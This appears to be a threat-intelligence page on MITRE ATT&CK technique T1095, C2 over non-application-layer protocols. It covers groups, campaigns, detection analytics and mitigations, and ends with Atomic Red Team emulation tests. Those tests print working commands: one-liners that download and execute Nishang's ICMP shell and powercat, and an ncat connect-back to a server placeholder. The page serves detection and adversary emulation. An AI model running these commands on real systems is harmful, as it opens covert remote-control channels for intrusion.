Has deployed backdoors that communicate over TCP to compromised network devices and over VMCI to ESXi hosts.123
Non-Application Layer Protocol T1095
- Tactic
- Command and Control
- Platforms
- ESXi, Linux, macOS, Network Devices, Windows
- Version
- 2.4
- Created
- 31 May 2017
- Last modified
- 12 May 2026
- Contributors
- Ryan Becwar; Duane Michael
Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.[1] Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Non-Application Layer Protocol MITRE reference T1095
12 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.
Has used a passive backdoor that receives commands with UDP packets.1
Has used TCP for C2.1
Uses socket-based tunneling utilities for command and control purposes such as NetCat and Go Simple Tunnel (GOST). These tunnels are used to push interactive command prompts over the created sockets.1 Ember Bear has also used reverse TCP connections from Meterpreter installations to communicate back with C2 infrastructure.2
Has used TCP for C2 communications.1
Has used EarthWorm for network tunneling with a SOCKS5 server and port transfer functionalities.1
All 12 groups for this technique · 6 newest in this preview
8 campaigns have been recorded using this technique. Listed newest first; dates are year-granularity and attribution is MITRE’s.
During RedPenguin, UNC3886 leveraged malware that used UDP and TCP sockets for C2.123
Used a non-standard TCP session to initialize communication prior to establishing HTTPS command and control.1
During Cutting Edge, threat actors used the Unix socket and a reverse TCP shell for C2 communications.1
Mustang Panda communicated over TCP 5000 from adversary administrative servers to adversary command and control nodes during RedDelta Modified PlugX Infection Chain Operations.1
Command and control traffic uses a non-standard, likely custom protocol for communication.1
During the 2022 Ukraine Electric Power Attack, Sandworm Team proxied C2 communications within a TLS-based tunnel.1
All 8 campaigns for this technique · 6 newest in this preview
88 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.
Has used raw TCP on non-standard ports, such as 4044, for C2 communications and for HTTP communications, which include downloading binaries.12
Has established a connection with the C2 server over TCP traffic.1 InvisibleFerret has also created a TCP reverse shell communicating via a socket connection over ports 1245, 80, 2245, 3001, and 5000.2
Has utilized TCP-based reverse shells.1
Has used TCP for C2 communications to target IPs or domains. StarProxy contained code to support both UDP and TCP connections.1
Can use a custom binary protocol over TCP for C2 communication.1
All 88 software entries for this technique · 6 newest in this preview
Offense vs defense T1095
Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.
How it got here
Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.
Non-Application Layer Protocol detection strategy DET0457
MITRE names one behaviour worth catching for this technique and breaks it into 5 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.
Detection of Non-Application Layer Protocols for C2
AN1254 · Windows
Anomalous use of ICMP or UDP by non-network service processes for data exfiltration or remote control, especially if traffic bypasses proxy infrastructure or shows unusual flow patterns.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Network Connection CreationDC0082 | WinEventLog:Sysmon | EventCode=3, 22 |
| Network Traffic ContentDC0085 | NSM:Flow | ICMP/UDP traffic (Wireshark, Suricata, Zeek) |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| ProcessContextAllowList | Processes normally allowed to use ICMP/UDP (e.g., ping.exe, DNS resolver). |
| ByteTransferAnomalyThreshold | Suspicion if client sends much more data than it receives (e.g., >90%). |
| ProtocolUsageBaseline | Baseline which protocols are normal per host or segment (ICMP, UDP, etc.). |
AN1255 · Linux
ICMP or raw socket traffic generated by user-mode processes like bash, Python, or nc, typically using ping, hping3, or crafted packets via libpcap or scapy.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Network Connection CreationDC0082 | auditd:SYSCALL | sendto/connect |
| Network Traffic ContentDC0085 | NSM:Flow | icmp.log, weird.log |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| RawSocketExecutionPath | Uncommon programs using raw sockets (e.g., netcat, Python, nmap). |
| TimeWindow | Tunable window for correlating execution with network events (e.g., 2m). |
AN1256 · macOS
Unsigned binaries or interpreted scripts initiating non-standard protocols (ICMP, UDP, SOCKS) outside of baseline network behavior.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Network Traffic FlowDC0078 | macos:unifiedlog | com.apple.network |
| Network Traffic ContentDC0085 | NSM:Flow | ICMP/UDP monitoring (tcpdump, Wireshark, Zeek) |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| UnsignedBinaryNetworkUsage | Detection threshold for unsigned or transient binaries making ICMP/UDP calls. |
AN1257 · ESXi
VMCI (Virtual Machine Communication Interface) traffic between guest and host, or between VMs, originating from non-management tools or unauthorized binaries.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Network Traffic ContentDC0085 | esxi:vmkernel | VMCI syslog entries |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| VMCIBackdoorProcess | Monitor for non-vSphere or VMware-native processes using VMCI. |
| GuestToHostCommPattern | Baseline pattern of guest-to-host traffic vs anomaly (unexpected port, volume). |
AN1258 · Network Devices
Non-standard port/protocol pairings or low-entropy ICMP traffic resembling tunneling patterns (e.g., fixed-size pings with delays).
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Network Traffic FlowDC0078 | NSM:Flow | conn.log, icmp.log |
| Network Traffic ContentDC0085 | NSM:Firewall | ICMP/UDP protocol anomaly |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| ProtocolEntropyThreshold | ICMP/UDP packet content entropy filter to identify encoded payloads. |
| SessionDurationThreshold | Long ICMP/UDP sessions beyond expected limits (e.g., >5min). |
Periodically investigate ESXi hosts for open VMCI ports. Running the lsof -A command and inspecting results with a type of SOCKET_VMCI will reveal processes that have open VMCI ports.
Filter network traffic to prevent use of protocols across the network boundary that are unnecessary. If VMCI is not required in ESXi environments, consider restricting guest virtual machines from accessing VMCI services.
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level.
Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports and through proper network gateway systems. Also ensure hosts are only provisioned to communicate over authorized interfaces.
| # | Test | Platform | Executor | Elevation | Prereqs | Cleanup | Ref | |||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 01 | ICMP C2 | windows | PowerShell | — | — | — | ||||||||||||||||||||||
This will attempt to start C2 Session Using ICMP. For information on how to set up the listener refer to the following blog: https://www.blackhillsinfosec.com/how-to-c2-over-icmp/ Input arguments
Attack command IEX (New-Object System.Net.WebClient).Downloadstring('https://raw.githubusercontent.com/samratashok/nishang/c75da7f91fcc356f846e09eab0cfd7f296ebf746/Shells/Invoke-PowerShellIcmp.ps1')
Invoke-PowerShellIcmp -IPAddress #{server_ip}
GUID860e76a8-3417-4672-b103-b04467097cb7 | ||||||||||||||||||||||||||||
| 02 | Netcat C2 | windows | PowerShell | — | 1 | — | ||||||||||||||||||||||
Start C2 Session Using Ncat To start the listener on a Linux device, type the following: nc -l -p <port> Input arguments
Attack command cmd /c "#{ncat_exe}" #{server_ip} #{server_port}
Prerequisite ncat.exe must be available at specified location (#{ncat_exe}) Check if( Test-Path "#{ncat_exe}") {exit 0} else {exit 1}
Satisfy [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -ItemType Directory -Force -Path "#{ncat_path}" | Out-Null
$parentpath = Split-Path (Split-Path "#{ncat_exe}"); $zippath = "$parentpath\nmap.zip"
Invoke-WebRequest "https://nmap.org/dist/nmap-7.80-win32.zip" -OutFile "$zippath"
Expand-Archive $zippath $parentpath -Force
$unzipPath = Join-Path $parentPath "nmap-7.80"
if( $null -eq (Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | ?{$_.DisplayName -like "Microsoft Visual C++*"}) ) {
Start-Process (Join-Path $unzipPath "vcredist_x86.exe")
}
GUID91d85c09-df15-49ee-b535-14e2af0135cf | ||||||||||||||||||||||||||||
| 03 | Powercat C2 | windows | PowerShell | — | — | — | ||||||||||||||||||||||
Start C2 Session Using Powercat To start the listener on a Linux device, type the following: nc -l -p <port> Input arguments
Attack command IEX (New-Object System.Net.Webclient).Downloadstring('https://raw.githubusercontent.com/besimorhino/powercat/ff755efeb2abc3f02fa0640cd01b87c4a59d6bb5/powercat.ps1')
powercat -c #{server_ip} -p #{server_port}
GUID003ad07b-8a2e-4cf1-8dc3-a03bcdccc64f | ||||||||||||||||||||||||||||
| 04 | Linux ICMP Reverse Shell using icmp-cnc | linux | manual | — | — | — | ||||||||||||||||||||||
ICMP C2 (Command and Control) utilizes the Internet Control Message Protocol (ICMP), traditionally used for network diagnostics, as a covert communication channel for attackers. By using ICMP, adversaries can send commands, exfiltrate data, or maintain access to compromised systems without triggering network detection systems.
This method allows attackers to communicate and control compromised devices while remaining undetected.
For more details, check this blog: ICMP Reverse Shell Blog
**Important Notes:**
- Use Attack command No command — this test is a manual procedure. GUIDc8ea6460-a2f3-4274-8267-cd32316dbf61 | ||||||||||||||||||||||||||||
Tests from Atomic Red Team (MIT licence) · technique definition